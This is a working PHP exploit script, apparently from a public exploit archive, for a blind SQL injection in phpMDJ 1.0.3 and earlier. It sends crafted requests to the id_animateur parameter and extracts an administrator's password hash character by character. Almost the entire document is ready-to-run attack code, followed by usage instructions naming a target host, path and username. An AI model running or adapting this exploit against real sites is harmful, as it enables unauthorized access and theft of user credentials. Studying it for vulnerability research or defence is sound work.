phpMDJ 1.0.3 - 'id_animateur' Blind SQL Injection

--+++=========================================================+++--
--+++====== phpMDJ <= 1.0.3 Blind SQL Injection Exploit ======+++--
--+++=========================================================+++--

<?php

function query ($usr, $chr, $pos)
{
	$query = "x' OR ASCII(SUBSTRING((SELECT mdp FROM phpmdj_users WHERE pseudo = '{$usr}'),{$pos},1))={$chr} OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $usr, $chr, $pos)
{
	$chr = ord ($chr);

	$fp = fsockopen ($hostname, 80);

	$query = query ($usr, $chr, $pos);
	$request = "GET {$path}/animateurs.php?id_animateur={$query} HTTP/1.1\r\n".
		   "Host: {$hostname}\r\n".
		   "Connection: Close\r\n\r\n";

	fputs ($fp, $request);

	while (!feof ($fp))
		$reply .= fgets ($fp, 1024);
	
	fclose ($fp);
	preg_match ("/Les animateurs<\/a> :(.+)<\/h2>/", $reply, $x);

	if (strlen (trim ($x [1])) == 0)
		return false;
	else
		return true;
}

function usage ()
{
	echo
		"\n[+] phpMDJ <= 1.0.3 Blind SQL Injection Exploit".
		"\n[+] Author: darkjoker".
		"\n[+] Site  : http://darkjoker.net23.net".
		"\n[+] Usage : php xpl.php <hostname> <path> <username>".
		"\n[+] Ex.   : php xpl.php localhost /phpMDJ admin".
		"\n\n";
	exit ();
}

if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
	{
		echo $key [$chr];
		$chr = -1;
		$pos++;
	}
	$chr++;
}

echo "\n\n";

# milw0rm.com [2009-01-11]